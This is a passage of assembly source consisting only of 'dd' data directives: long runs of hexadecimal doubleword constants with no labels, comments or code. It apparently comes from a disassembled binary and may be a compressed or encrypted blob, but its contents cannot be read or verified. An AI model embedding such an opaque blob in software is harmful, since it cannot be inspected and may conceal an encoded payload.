		dd 8C00A098h, 8A516C88h, 7F4C25h, 58F355FDh, 799BB80Eh
		dd 0F2BDB900h, 0A7DEB4C3h, 3E709DECh, 0EF73BA00h, 0FF99A370h
		dd 39ED0E1Ch, 0E5009F45h, 0B5F4B9D6h, 0A1472E00h, 0F288FDC1h
		dd 930D00BAh, 57C2DB17h, 787C419Eh, 485D8100h, 6F5B582Eh
		dd 83D600E0h, 69928FCDh, 61007AF0h, 59FAC256h, 0EA0C11h
		dd 0CEC098F3h, 8D368C7Eh, 0B8E05E00h, 506227CBh, 5AEB07CAh
		dd 0F0D5CD69h, 9729BCB6h, 300088EEh, 65233AEFh,	2D7F25h
		dd 0B14C5F73h, 8007D1CEh, 46008E7Ah, 0FA70F59Ch, 4C71FB2Eh
		dd 0CE005CA3h, 0B8F7FDF1h, 0A62E632Dh, 0F300DD10h, 0AE5BC549h
		dd 0A2A32C77h, 0CAFD00F3h, 0DE1B7F2Bh, 1FC47D1Ch, 39D80381h
		dd 24DCC7E8h, 0EFA90072h, 3E6CA727h, 3D00CC6Ah,	0C2127509h
		dd 1FADD72Eh, 40FF4C1Bh, 0BDEB06DFh, 4213ED39h,	9A009C74h
		dd 6035E497h, 34F23Ch, 0B9011FDh, 8DC985BCh, 80E7A13Dh
		dd 69CD252Fh, 5643277h,	1A892907h, 0F6163Eh, 0CC7D6DECh
		dd 0DC09877Fh, 604F0AEBh, 485E1Ch, 1C8F8231h, 0E14BDED8h
		dd 6E3FB501h, 0E4B46DECh, 6074C2Ch, 0C009176Ah,	80D2AE93h
		dd 0F61B4C37h, 64C0D1C4h, 77AB7013h, 151A039Dh,	0FFAA4006h
		dd 7AFC6AC0h, 0FC0D7624h, 8B0ED080h, 0C9CB3607h, 80003526h
		dd 0FA5D339Bh, 7244A3Bh, 9ACD310h, 5C2F5F00h, 0F442E95h
		dd 91033865h, 0FD7353A6h, 0E73F9790h, 3241921Eh, 13780340h
		dd 487548F9h, 9C50C61Ah, 49CA000Dh, 0BC184067h,	0D8B0FDE8h
		dd 3C106D00h, 9FF5C97Dh, 0A06F0114h, 168EDC7Ch,	9911E8D4h
		dd 3B108D0Eh, 0A9756074h, 36D070h, 76B1B535h, 0A20F1E38h
		dd 0D33B0600h, 5E4D688h, 253700ACh, 0CD9DC703h,	34002085h
		dd 9024F04Dh, 4F1DE2h, 53F85DB8h, 9FC7E40Bh, 36005C98h
		dd 7362AD61h, 0FE81CD6Dh, 638C1E50h, 90EB0740h,	5C479005h
		dd 0DB025188h, 0BFBD52CFh, 86084175h, 0E83AF9DBh, 0FA613DECh
		dd 0AB400013h, 48AD18CBh, 3B17CD41h, 43005064h,	20860EFEh
		dd 0AC9717BAh, 0D214415Ah, 2021BF9Ah, 49003EEEh, 62D054Eh
		dd 611BDDAFh, 1847762Fh, 1F70C812h, 0F127E190h,	61508097h
		dd 52F28CCh, 73372354h,	0E20C90CDh, 0D0022D4h, 0B899BCEAh
		dd 0FB73170h, 0C49CECEBh, 844A00F2h, 3C03CF80h,	2E9D4500h
		dd 3E78AB2Dh, 0DDB60652h, 5E6CADBDh, 2902BE00h,	6481A508h
		dd 5E5D030Eh, 51C72FFh,	0B2DD0CFh, 7D0223A9h, 0D40A0665h
		dd 123B600Ch, 79D63D48h, 0F7D0EE03h, 78C02DA1h,	5A001F09h
		dd 0C5838602h, 11D11F4h, 56B042ECh, 9F207DEDh, 4DD3A428h
		dd 680F8200h, 0AA60Eh, 3D376158h, 3A1077F8h, 7100397Bh
		dd 56D97232h, 220C3Eh, 0B90B8B27h, 709A8359h, 0C7776D00h
		dd 0FD56341Eh, 0B187017Eh, 9180B943h, 0F3CDDDFEh, 0F8118087h
		dd 360159C4h, 3B69C0BAh, 87706AE4h, 305B0090h, 7F4AAAB5h
		dd 0E7009907h, 66E97994h, 0E46C0D9h, 272B3A82h,	60F8C240h
		dd 7FE05F77h, 6D1298A8h, 0EAD8AD00h, 0BCFA0C27h, 25B11E9Ch
		dd 0C0013FF3h, 0EA883C2h, 70F4F096h, 9700E57Dh,	0DE84061Bh
		dd 98FA1Eh, 0B90F0412h,	4B20CB7Dh, 0F474DC00h, 910EB16Bh
		dd 0A2230007h, 0E6EEF313h, 6F005729h, 0CA1B623Dh, 33CC91Fh
		dd 454B403Fh, 0C5A0FC8Fh, 0EE00D434h, 24862D5h,	0F5E98Eh
		dd 98514047h, 0D69D35EAh, 4BBF7E00h, 0B2382C1Eh, 0D5B11E2Bh
		dd 0E4038097h, 1558918Eh, 4BFE9A03h, 986336CBh,	7C739590h
		dd 7E74E43Dh, 0F2F40F9Fh, 0AB6381BDh, 0B78864DDh, 0DA0760A0h
		dd 0F74A44CFh, 171E45D0h, 0AA7514h, 7E519EB8h, 0E72EA625h
		dd 8207AEF0h, 939F4D3Bh, 56C05915h, 0C60717h, 4EB144A8h
		dd 76714702h, 89C540C7h, 5ADA0500h, 0BCCC09EEh,	4400DF48h
		dd 0D985225Eh, 19301800h, 7E53064Fh, 9FA714F3h,	0A000D496h
		dd 2909BB3Eh, 387FEA6Fh, 3C00D9F4h, 0ED588087h,	25018Eh
		dd 50182EE4h, 2A34667Dh, 0E755CF05h, 0C4404445h, 41118C9Ah
		dd 8A70A8h, 158B9D30h, 39934647h, 0D5983100h, 0A0ECA5A9h
		dd 0D2ED1E81h, 0F7690C3Ch, 8A80DA11h, 0E02289C4h, 5B0042DEh
		dd 30908F05h, 0F04B5E1Bh, 2A8900FAh, 44833B29h,	6D001999h
		dd 85DC9390h, 929F02E5h, 0F51B3E40h, 8BAA500h, 863226E1h
		dd 2B29211Ch, 6809B00Ch, 6CAB0964h, 0BC0E3565h,	50CB10Ah
		dd 5C85E38Dh, 2A788090h, 0BAF82824h, 3986C600h,	7E6D5255h
		dd 44A11D08h, 30758064h, 4A20F948h, 51BFFB00h, 9A992B53h
		dd 0C9450005h, 0EF1F44B2h, 1800D856h, 0FBCAEC2Eh, 133658Bh
		dd 4DE6C6F6h, 0E7792A53h, 481792Bh, 6250CDF0h, 0FA510A3h
		dd 6AD8B2E0h, 25ED1200h, 0AB6E913Eh, 83E01F1Fh,	9DEC09DEh
		dd 0C79FB287h, 412FC1A1h, 0B586F0DAh, 293A4A0Ch, 0C495965h
		dd 75AB778Ch, 0A5220A50h, 950D0E24h, 28981804h,	71287867h
		dd 197C946Ch, 702E1101h, 3DFF218Fh, 30E20C0h, 2771DDB3h
		dd 0B914931Fh, 30607279h, 0E0C3D1E6h, 59256028h, 741732DAh
		dd 7A217F01h, 1A0E3E8Fh, 40AD7048h, 9A73F965h, 0C5FAE501h
		dd 9749F051h, 3DFE891h,	0F3952AABh, 5C0AB86Dh, 4405EE09h
		dd 4D15236Bh, 804C8476h, 6B9650F3h, 0A3083A74h,	0A926F19Bh
		dd 7328E1A8h, 1E0694A4h, 20270422h, 89ED0CA8h, 17386EBFh
		dd 0E1C7EC3Eh, 0F61BB119h, 5D854F07h, 0FA940124h, 70962C75h
		dd 4E0C2517h, 0D84134EEh, 705160CAh, 9340EA4Fh,	0FC11E0A2h
		dd 789CF033h, 61118A63h, 66838D4Ah, 0CD99F40h, 0C09F08D0h
		dd 4A42CB21h, 0E019616Dh, 0DC499505h, 0A20970h,	0AD86FB5Bh
		dd 0EF294482h, 0E4FF9D07h, 9EB15973h, 908198ACh, 0CCDEA084h
		dd 2E84500Ah, 44394A25h, 706506A4h, 60085C8Dh, 2DCF2131h
		dd 0F384E4Ah, 5E378009h, 4D28A652h, 2B6E0FDh, 0FE868A0Bh
		dd 30844254h, 4A3260DFh, 4CA42347h, 0C8003B11h,	2A464A3Ah
		dd 8703401Eh, 59AB0178h, 60210020h, 0E38171Ch, 5400C3C7h
		dd 0A32DBBF2h, 12794A9Ch, 1F912E2h, 0F0DA5860h,	0B8410374h
		dd 1615BC39h, 8FEB23h, 0D2FEC2F6h, 7400C443h, 49F54411h
		dd 0D91B82h, 8A68D063h,	337DF346h, 670FA000h, 83F6EA80h
		dd 0EA4B7EF2h, 2E60EB5h, 0C03EE7B4h, 0F3D3182Ah, 47003467h
		dd 0E3E29B4Ch, 77F8E68h, 58B2F18Bh, 520570A4h, 9034AA5h
		dd 0C89D6D6Bh, 2F0CB002h
		dd 0C2CD1639h, 363A0FC0h, 0EDEE9300h, 6505C73Dh, 66CAF29Bh
		dd 16427B80h, 0B2C0058h, 0AA97DA78h, 463864E7h,	59778041h
		dd 0C2DCF214h, 0CC10C14Bh, 0D025ABCBh, 0EE0C7142h, 486EAD7Dh
		dd 7CE40362h, 773E89FEh, 415182E0h, 71506803h, 53DEE9h
		dd 9732F508h, 0F88F528Ah, 77683500h, 60BBB64Dh,	0BF70014Bh
		dd 0E2642A38h, 424980AAh, 4AE96898h, 0BED60081h, 19CBD2Dh
		dd 39F86B52h, 0E8B5DD00h, 3FF2600Ch, 0F8B3876h,	9A53C601h
		dd 0A94EDCh, 37F2427Fh,	90A102F4h, 7AFA78CAh, 6A48AD00h
		dd 3ABC4D8h, 67183C8Ch,	3E684E00h, 739939CCh, 0D07CDE00h
		dd 40050EE1h, 93470031h, 0E5CF7B80h, 0D975C2B0h, 0C1A5B400h
		dd 0B364FF9Bh, 9CB0647h, 8333EC5h, 0FE219361h, 442064C7h
		dd 6B2F2B5h, 0F5CD78D9h, 8A0120BBh, 59272E15h, 0B07A3558h
		dd 2978A0EAh, 0FFA17A00h, 2D552C78h, 86C31547h,	68B84075h
		dd 2770DA1Dh, 356BD800h, 0CEACBF7h, 97535CBAh, 731D8458h
		dd 7E6A7Dh, 0B4BC3D39h,	180DC04Fh, 0B0C1A48Ch, 911FB305h
		dd 0B09C3AFAh, 3D84324Fh, 0E7217B59h, 325590CCh, 65506F40h
		dd 7121A526h, 0DF853B4Bh, 5381D680h, 26D1F1CEh,	64B0A51Ch
		dd 0A9429B1h, 607D6C4h,	37D365ECh, 0B86008E9h, 0AC2F721h
		dd 7AA001ACh, 0A27F42EDh, 0F6B5C407h, 84BA1301h, 0AED921ABh
		dd 937C7087h, 0B0E6102Bh, 87317F80h, 70D8F0E7h,	9DD4CCh
		dd 0E4A35F52h, 8E83F967h, 0C7FD500h, 0DFBD3F0Ah, 0FE770739h
		dd 0A07E7931h, 62F2B4CEh, 85A5D403h, 0D133F66Dh, 11A1A638h
		dd 918A5004h, 0D510AF67h, 93BF08E0h, 9ACF00F9h,	674EFB64h
		dd 0AB00C83Fh, 0B2A94A8Ah, 62EAD5A4h, 9E6B2909h, 29DF0C2Bh
		dd 0B9228426h, 9D6722FCh, 42A03C22h, 10311122h,	22288328h
		dd 0BE22C7C0h, 1443503Eh, 0A6B0887Fh, 73789C7Bh, 5B6DE81Fh
		dd 9144A5C0h, 777CBDCBh, 0E9FCA8h, 5DE5E0FFh, 93375C8Fh
		dd 0DE2D0500h, 3CA25446h, 0FAAC0066h, 4032AF04h, 5009181h
		dd 2C2288DAh, 11ACE0Eh,	44A01F4Dh, 0D499270Ch, 93A8134h
		dd 40C600D8h, 0E1DAE0C2h, 2F5C0061h, 7C4F3829h,	687711C9h
		dd 5E0B9F00h, 477CC95h,	0E77F0365h, 2B3D1DD3h, 9E4D76A8h
		dd 714C000h, 3BCBAC05h,	33C26E5h, 39FE0059h, 84F91626h
		dd 0BFA8D8A0h, 0B0382E24h, 0F4C78000h, 3B097A61h, 5CAF2DF5h
		dd 0A703AFF0h, 0EDA0ADECh, 7664908Dh, 0F140E329h, 90E7BAACh
		dd 3C25F258h, 800C0C1h,	0BF1A123Ch, 0A90CE8B1h,	0A0DDDE80h
		dd 38487F35h, 504C8DD9h, 40595112h, 90C1571Ch, 5800ECE5h
		dd 0C35F398Fh, 0D3E035h, 1F332AA3h, 6E192F01h, 1EB839h
		dd 0B2AC1CA2h, 70A3931Ah, 63680062h, 0F81D448h,	8F00C524h
		dd 45C625A1h, 7838C3Fh,	0DA7A425Dh, 27D1304Ch, 0DE03F78Bh
		dd 0E1AF343Eh, 2EFE88BEh, 50E035h, 81CDFD5Fh, 5515081Ah
		dd 0DFFF6401h, 2B1F6C90h, 74327C70h, 611407CCh,	82C06Ah
		dd 0CD238770h, 0EB4BF700h, 0A33E7418h, 0C9340001h, 0D4F3BF1Eh
		dd 2D1CCC53h, 0AE009DFEh, 3DD9E71Ah, 0E92F00BAh, 57C89E29h
		dd 6C14E20Dh, 1E8CEE77h, 28800167h, 0A5E096ECh,	586B0072h
		dd 745A4987h, 1C305FD4h, 0BDB82466h, 5B250735h,	50E9CB9Ah
		dd 7A2E3EB6h, 0E401FEFCh, 67E7BC96h, 4820DE48h,	47A30072h
		dd 1A228653h, 1113F4A5h, 3D00FA92h, 0BF458B26h,	0DE8001Dh
		dd 90054F18h, 0D500C9AAh, 6361A566h, 2CD3F55Dh,	7445A5Fh
		dd 0F075A119h, 2B846CD7h, 20C6A730h, 50403C59h,	3B06DCE2h
		dd 6A0068B6h, 0ED03E073h, 0C648AA69h, 1B3A0024h, 0A3355F54h
		dd 8E073FBAh, 0F5BFAC00h, 0B19EC1F0h, 57034802h, 682F1B65h
		dd 1B146338h, 61A4C78Dh, 0A9E644A8h, 547C92EAh,	0F9B6D400h
		dd 3B9E457Bh, 69CC007Fh, 7C2D1699h, 753CF00Ah, 0A8DC31F4h
		dd 0DECC844Ah, 691F0061h, 0C2B62D88h, 88A021F9h, 7E3A244Bh
		dd 4DFC00FFh, 904AA205h, 0CC9A02EBh, 0BF7BE33Ah, 2792E5C0h
		dd 16A1BA00h, 0D2EC9645h, 3FFFAC2h, 5C68977Bh, 1AD88D84h
		dd 14F2F9B2h, 1C000490h, 3F2BC54Bh, 737F2F7h, 60CF1358h
		dd 26456249h, 0EFCD8BE0h, 0E70020EAh, 1B98FB2Dh, 0ADCABFCh
		dd 35DA3EF7h, 22803A88h, 93FA5FFEh, 4F0FFBEAh, 178EF51Bh
		dd 668DA0h, 7F8CFF21h, 22DB0F56h, 3A6D9507h, 0D487BEAAh
		dd 0F870F6h, 7AC823B3h,	0C41ED29Dh, 0DDEDA9FEh,	212C40C1h
		dd 0D509B814h, 1BB7EB71h, 0D8DFA3DCh, 0FCF96Eh,	0B93E53F5h
		dd 677CBAEEh, 186025Ch,	9368CC6h, 0A8CB40DAh, 7F7ED587h
		dd 0FD1D13C9h, 79A42039h, 17000F92h, 5EB6F5FBh,	1FB7C0A6h
		dd 0C2963BACh, 347EF04Ah, 0AA32D140h, 82D32C3Eh, 0A8C6C1F1h
		dd 308B409Dh, 4F410012h, 1E227C2h, 2B0069ECh, 0DB94D19Bh
		dd 2C8DFB48h, 7AE667h, 322FAACFh, 0E000BEB7h, 0E13D6330h
		dd 0A6EDF3h, 4681853Ch,	0B5751C29h, 0BBC4000h, 6AC46710h
		dd 0CCCCF974h, 1DC077Eh, 0C0345B77h, 0BA814DE7h, 63EFE21Dh
		dd 0AE10E598h, 4BDB0F87h, 0EBA024D9h, 5626F0E0h, 0EA410500h
		dd 0F50311FDh, 37360CACh, 0C1901943h, 0F728A400h, 2A690829h
		dd 0F8263A06h, 0ABDDE500h, 4D45CA6h, 7F23B800h,	0FDDF65ACh
		dd 0D951001Eh, 0CD6466D0h, 2B3B9AEDh, 0CBF60105h, 8369D8E3h
		dd 30620CD0h, 0F4C04FBFh, 7600C806h, 61C29EDFh,	1D3DC997h
		dd 807F59E3h, 24EDB122h, 430C3458h, 10AF6E47h, 5679008Bh
		dd 0D13EE659h, 7A0319F5h, 0BED8B47Fh, 1FF4B86Eh, 0A38B050Ah
		dd 8051DACAh, 0FA4CA6A7h, 0B2B31400h, 2723707Fh, 6FB102B5h
		dd 12815CFFh, 44B9E441h, 9B38C0F3h, 0D090F542h,	14542300h
		dd 7B6860EDh, 7005079Fh, 0D4B61DB2h, 0C5E8803Ah, 1B054841h
		dd 969A6C5Ch, 0ACCADFC1h, 0AB3060h, 4B12865Dh, 0DE911A2Bh
		dd 0E3EC6400h, 2E632278h, 0EE7A00D3h, 16FECF09h, 0BD1224B1h
		dd 0AA005F8Fh, 722DAC3Ah, 318400B5h, 489A3429h,	8B00C3B8h
		dd 705847D5h, 7EEAB1Ah,	5C23DCD3h, 7A0C63BAh, 5B0672C0h
		dd 61FFD112h, 0E60A7400h, 13AB694h, 55410CBBh, 0FC170735h
		dd 0D27DFF56h, 80B87939h, 0B4FB5AC7h, 1F6490h, 24E8204Eh
		dd 5272A751h, 943AAD2Eh, 4834B400h, 73032122h, 0B89549D3h
		dd 78804Ch, 0AF58B22Eh,	0B6288AC3h, 1B0ED67Dh, 2699C6h
		dd 68D0E65h, 0DE4F0035h, 20CB3FA3h, 47009C6Fh, 1D9E9D94h
		dd 58625177h, 0B20368BBh, 0F8711CBh, 0B56A4980h, 0D9A69F13h
		dd 780DC407h, 0BF36A491h, 71AF9E0h, 0C58A714Bh,	0D5D600BAh
		dd 93005F4Dh, 59CCB952h, 127F42A6h, 0B09510C6h,	1800D334h
		dd 0F18F4072h, 5005791Ah, 0F9850h, 3A1241C1h, 6EE352F3h
		dd 0B1CE5B00h, 93A1298Ah, 73F8E9h, 705DD560h, 4ED87E31h
		dd 0C72630C0h, 221D83h,	5B9F0308h, 678C6440h, 9CC5F300h
		dd 926B65ABh, 74A6003Dh, 7949BF59h, 7C1E6F9Dh, 0B4C0D350h
		dd 3DC572AFh, 0B7EAF0h,	38E52D4h, 0DF236808h, 0B5B9FC00h
		dd 3C019BFEh, 469300BEh, 3D1E51C7h, 0D003EE2h, 0F4F67CC9h
		dd 5368B1h, 8AA2BFE0h, 0BA2DA4A0h, 32567E09h, 39CD005Bh
		dd 128E89CDh, 1FEA87EBh, 83651F94h, 0ACA1489Ch,	5C4F8690h
		dd 0B60035F6h, 1183A0B1h, 38B4552Ah, 76D18Fh, 667FFB87h
		dd 2F05CD38h, 2260E605h, 90C039C1h, 0B004BDDFh,	4C9E12FCh
		dd 0C71421F3h, 1800C7E3h, 9B955621h, 0A46723h, 64CEF63Ah
		dd 28B477Eh, 89CBB00h
		dd 2E1A3205h, 946C00C9h, 1776ADA8h, 3900D8F7h, 471E5C27h
		dd 36EDA7h, 0CA520D97h,	0CDFE0A9h, 63167703h, 3A2D7DCEh
		dd 9C1F0169h, 0C0E45E10h, 0D5ACB073h, 80009030h, 0D9503D75h
		dd 383BA4B3h, 8580B90Dh, 0D517C1F4h, 770057F3h,	0C87C3D76h
		dd 298846Dh, 0B0471346h, 44585336h, 48D03A2Eh, 0ED548880h
		dd 0FAE5C97Dh, 303F05A9h, 804A8216h, 755BE11Ch,	0B15CC4F6h
		dd 29555038h, 0F8508E00h, 622E301Ch, 955E0EE7h,	7C403B8Bh
		dd 0F085A0C3h, 9D014F79h, 2F7BC877h, 6430AEF2h,	896E0076h
		dd 0AF15C25Ch, 4F005086h, 8135B1C0h, 0F7A0429Dh, 43474h
		dd 0EC9733A7h, 0BA74630Bh, 66038F01h, 7C0C8565h, 552B4F0h
		dd 28271783h, 18B8009Bh, 0D02C4ED2h, 67374C01h,	5CD781E8h
		dd 12F93C4h, 0F120B70Bh, 0C0B2C968h, 0BB002BC1h, 386CCEB5h
		dd 274A71h, 0C05C1978h,	0B9BD2346h, 1600BFFCh, 5FEDA618h
		dd 30804E3h, 3FFEF462h,	71982E7Bh, 6000C88h, 18176809h
		dd 9647F802h, 8F8A0020h, 287B3558h, 0DD1E3F00h,	0C95E9232h
		dd 8FA5882Ch, 2BEFD30h,	0E23EA0CEh, 55A8A0E2h, 12DE78CCh
		dd 0C090BA82h, 43AC7220h, 30D4C600h, 33BB0C01h,	0F5B31613h
		dd 3A380028h, 0F2F31FE5h, 0C7491100h, 72D697D2h, 0BCF91294h
		dd 68D809B1h, 5B200001h, 0D1B8939Eh, 40DFD027h,	0AE1F17CAh
		dd 0C69800F7h, 0D813C575h, 1C029252h, 821ACD86h, 7CA940EAh
		dd 848302C4h, 2E884A07h, 5FCC44C0h, 3978A902h, 4009F040h
		dd 0B8945E2Dh, 0A42EE5Ch, 76B34BFFh, 0E30300C8h, 580CFA07h
		dd 89862700h, 5AF56E6Fh, 1C9C98A7h, 0C0BE2F31h,	9C1438B2h
		dd 0C550562Eh, 3B12AF81h, 74C029EDh, 0F0F531h, 0C906DBCCh
		dd 4202C21h, 0B4079EA0h, 2B0231E6h, 0D09D6702h,	339C6044h
		dd 0FB67F90h, 63A15F84h, 0DC2C620h, 0B93EB5F6h,	1A8C80BAh
		dd 0E83BB867h, 34D21777h, 4E430C0h, 43000629h, 0E47DD59Bh
		dd 0B87B65h, 0E14FD3E3h, 6BD076EFh, 0D103C804h,	7C80B01Eh
		dd 0BBE543Dh, 0CEE6959Bh, 970CE403h, 0F4A0ACA8h, 3A004A72h
		dd 0D00D0F32h, 17EED3BBh, 59567h, 0E8A6E08Bh, 5F183B96h
		dd 0A348F4B8h, 78370081h, 6622019Fh, 5CF08CBFh,	0D4917700h
		dd 0C7E5A057h, 448B48AFh, 0C0CA0300h, 0F706CF05h, 0E97C4860h
		dd 0DEBB38h, 990D53F9h,	0D73E02E7h, 0B328190Fh,	40BCA04Ch
		dd 8D2280h, 4B08F7B8h, 4A6B4169h, 0B35A413h, 5008C13h
		dd 54E15150h, 0FDE909D1h, 0C180B3EBh, 0E515AB02h, 0E07E9F01h
		dd 1C22047h, 90FBB770h,	1B380077h, 0A2BC4076h, 3D001CC8h
		dd 85A31A16h, 9055CF2Fh, 0DDCE1CD0h, 64239E26h,	0CA150460h
		dd 987B096Dh, 1FF9DC60h, 0C402C97Ch, 81FD42CCh,	608779A0h
		dd 0A512C2BBh, 98C03F64h, 38C0B79Ah, 21402E07h,	90318544h
		dd 18110084h, 0FB58F4CBh, 0D01CC6FFh, 14C05E80h, 0AC77BFDEh
		dd 0E71B009Ch, 4AAAA631h, 0C0058690h, 0A4AD32EAh, 788A38C1h
		dd 94C1FE44h, 69201237h, 397A7EE0h, 1889FF6Eh, 0C689168h
		dd 7900E8A4h, 783C632Ah, 30804BF1h, 5DD060FDh, 425CA8FFh
		dd 876D0058h, 0DDACDFCEh, 9FEE0013h, 0EDDCBF91h, 0A9127AE1h
		dd 3400F07Ch, 13A6DB5Eh, 0AFF31D9Ch, 0F1C300CEh, 0A7CA04F4h
		dd 17BEEB01h, 7242A1C5h, 0C44AE4h, 5A6AB8C8h, 96B1D668h
		dd 0E43A8F02h, 0D0D18948h, 0FD631F5Ch, 0DE14DDC5h, 106A0059h
		dd 601BE5C6h, 6C0234F0h, 0D972F0FEh, 7D7E602Bh,	70A2009Eh
		dd 5AD48074h, 5B01A5F2h, 0BA4DEFA0h, 0C42465D6h, 9EA2002Fh
		dd 0BF41D909h, 51008DF3h, 582D1D8Bh, 1913814h, 0CC27F76h
		dd 80AC4E6Dh, 522811E0h, 2C121B64h, 3FA85984h, 4FCC319Dh
		dd 6F441FFDh, 71308018h, 0A28AF77h, 5100FCAEh, 0CDC91B68h
		dd 4CDC1517h, 9000A82Ah, 0E28CB8D3h, 0B112BF1Dh, 3040A213h
		dd 0D7D2981Eh, 41872FCh, 0ECC5FAFFh, 19EF8052h,	0A200889Bh
		dd 0A78A6594h, 13407EB7h, 1EA4F4Ch, 0B9933E88h,	9F8405Ch
		dd 0C700B2D8h, 24A22BAEh, 0E08380h, 395C9443h, 325B89B1h
		dd 0F3A67400h, 56140DD3h, 0EC8600C9h, 20ADD592h, 6900D70Ch
		dd 0A107B82h, 58BE9106h, 761D0FF5h, 0A1CD0098h,	5324F61Eh
		dd 88355Ch, 574B733Bh, 3F030126h, 1501D3F7h, 0B80C81DAh
		dd 0CBFFC89Dh, 5A5BEA00h, 4BD75872h, 6ED21FD8h,	863600F4h
		dd 0AA67B461h, 208CF48h, 1633516h, 0C06504A6h, 0ECEEDD7Ch
		dd 1C717D3Ch, 0BD85E8C2h, 87803733h, 24D6C4h, 0D043318Ah
		dd 1AF6951Fh, 0D7EC6B00h, 0FDCA320Ch, 0E73D01B3h, 6D0E9245h
		dd 27082047h, 7F65A02h,	0E8E3448Eh, 1D1018h, 0DB0F05FBh
		dd 0F83DCE3Bh, 2F4D3A04h, 0F8C02A2Bh, 47DF9Dh, 59744809h
		dd 35F17F8Eh, 61BDED50h, 440B7200h, 368B8956h, 3DC225D9h
		dd 0C676C400h, 0B748A6B2h, 0DC80001Bh, 58202AD0h, 903C60FDh
		dd 0DE64E094h, 9642A207h, 10C1B2F0h, 0CE310CB9h, 3B2E2620h
		dd 770027EDh, 0E481A068h, 611C6F2Ah, 8DBDC6CBh,	262F294Dh
		dd 7FE8C4E5h, 0A8300E47h, 0BC44CE1Ch, 742AC0C8h, 3B030E4Fh
		dd 257D807Ch, 9541A8A0h, 1BC40034h, 0EDDE866Bh,	0B000B9E3h
		dd 9A1E35E8h, 1682428Eh, 2122A01Ah, 6CBB81E0h, 50A70F18h
		dd 0D2B7E02Bh, 0E696C79Fh, 0AE43D20h, 72A10482h, 0FFC0EF86h
		dd 0A0500B26h, 0D5F41008h, 9B79DE00h, 35DFD1D4h, 365312CAh
		dd 66CF096Dh, 68A554C0h, 2EA2550Bh, 2D2087B0h, 81ED8ECEh
		dd 0BA62FA89h, 51388984h, 101C906Ch, 0C1079A0Bh, 0D99A3C2h
		dd 0E7A74BA3h, 6C10D386h, 33101459h, 1A0F67F0h,	0EFFBD6h
		dd 540544F7h, 0C489AA2h, 0ECC99B59h, 701E948h, 0D1902517h
		dd 96FC4BDDh, 0F97F2Bh,	0A6AEFDFAh, 0A0D52EB0h,	4F02A104h
		dd 2F202C05h, 0E01FC9BBh, 5394CC2Eh, 0E9B4660Ch, 79A4EAE9h
		dd 428D3803h, 0EF80AF3Bh, 2E12D2E7h, 5709A76h, 0BF001077h
		dd 0A06CA793h, 89D68Dh,	473FCCCEh, 9BFAE015h, 35C4AB00h
		dd 53E484D4h, 71F500FBh, 0AD0AC1BEh, 3301B480h,	48142E75h
		dd 6AFC03E0h, 4CFC00D6h, 0BA2DAA8h, 90076857h, 2FE3AF13h
		dd 0D3DE7750h, 0EB61E76Ch, 0F6B8A0C2h, 44FFE0h,	8C71BF18h
		dd 0A562BB5Eh, 4096D9C0h, 2157836h, 2BFFE0Ah, 141E01Fh
		dd 31CB6050h, 81565E1Eh, 0DDAB7945h, 0B40FC4C0h, 844E2A95h
		dd 28FAF088h, 30811CC4h, 2B79AECFh, 0C9FC7FB7h,	20303Fh
		dd 2407416Ah, 1FB3F3BBh, 4004C826h, 174D9751h, 0B018DEEFh
		dd 4699D9B6h, 0EAEB005Dh, 280545E1h, 0ABE878F7h, 1197261Fh
		dd 0A1EC07C3h, 0B0BDC37Dh, 2F4D116h, 0F6A47134h, 85013930h
		dd 0EC48A362h, 184000B6h, 3B4B2B9Ch, 0A9CFB83Ch, 7D0F25h
		dd 0B1B3E9CEh, 0FAF2008Fh, 6834AAFEh, 675F3FBh,	0D60B28A1h
		dd 81139A00h, 0F9AB1F95h, 69D718B1h, 0AF07557Eh, 0BDEB1EAEh
		dd 887FB6B3h, 1C3B32C8h, 832DA279h, 0A47E5565h,	301E6888h
		dd 0B188E300h, 9F0A17D2h, 67DA0181h, 8A9ED16Bh,	8348D452h
		dd 0FEEB9D00h, 7E075EB4h, 0ED0C2C4Bh, 59AC3BE9h, 0BFDA009Dh
		dd 0E07671D0h, 18EBC03h, 0F06B856Dh, 2B2D2Fh, 6A0D6E78h
		dd 0DD94E3BFh, 3DF90500h, 7DC0010Fh, 0ADE500AEh, 0A99D6D0Ah
		dd 0E30097B1h, 172EBDB8h, 55086Fh, 95D0F0E2h, 809E2B4Bh
		dd 3D410B00h, 0A6CA77D4h, 82A750E1h, 4290A4h, 0E2B389A5h
		dd 7A2988E8h, 0BA8B6900h, 0E4F1BB49h, 6FA201E1h, 0C2EA01Dh
		dd 0B327600Ah, 0DC00D870h
		dd 93D651D5h, 6DFC69h, 649D6A25h, 0F1141DD2h, 4450E500h
		dd 154FE3D7h, 0D6F4ADh,	0DDB5F202h, 36D477D8h, 81AC8F01h
		dd 0FD99D25Fh, 9E5B40D2h, 3C1802DAh, 3EBE03A7h,	0CE76AC83h
		dd 19C07DE2h, 0D61861E4h, 0B9188827h, 0CE4EC7EDh, 0A3176056h
		dd 0CA0A67E0h, 0C0F52880h, 71D8BE07h, 0A5AA4DE1h, 64FE7FE8h
		dd 22F629ECh, 21941390h, 22111A2Fh, 0F202DE2Eh,	215524BDh
		dd 8E1111F1h, 0BCDA1131h, 11DE5911h, 0BA111FA9h, 0B82E112Dh
		dd 11DFDD11h, 0E6121581h, 1FF45085h, 2214E828h,	0D277E225h
		dd 89948688h, 444908E5h, 81447EFDh, 29B144D2h, 0FC6F64A0h
		dd 779CE8Bh, 0DCD0A86Bh, 7C2C5006h, 0D1FCF66h, 0F240C117h
		dd 32A26F9Eh, 0AC45001Ah, 0E4FB854Bh, 2C0021A1h, 0F7B478F5h
		dd 3C58B299h, 4080BA53h, 97473EE9h, 50008C49h, 5E88FC87h
		dd 862A4h, 0AA364206h, 0D9E25DEh, 0E40380Ch, 9516266h
		dd 0A4989F53h, 7BCCB980h, 0D0EF3FFh, 2040FCADh,	0B00A7C51h
		dd 4DBD2F6Dh, 4F02817Eh, 0C088BF48h, 90CF8C04h,	69C70024h
		dd 0D182A304h, 3B3D3F03h, 0F54681DBh, 556142F7h, 0F60F1E4h
		dd 8DB8DC76h, 0C04EEA20h, 680094A6h, 503116BCh,	309FAF97h
		dd 0A0218E8Ch, 0B502C9E3h, 0A8767A7Eh, 110DC072h, 60200119h
		dd 0F48B4246h, 0FB5820E7h, 8C61303h, 802C53EAh,	0BA035Ch
		dd 9C4493CCh, 0B2C40A3Dh, 3689C500h, 0D91D25B3h, 0C280000Ch
		dd 7C912271h, 0CC00C421h, 2EB332A0h, 3FE74E3h, 37F48DA8h
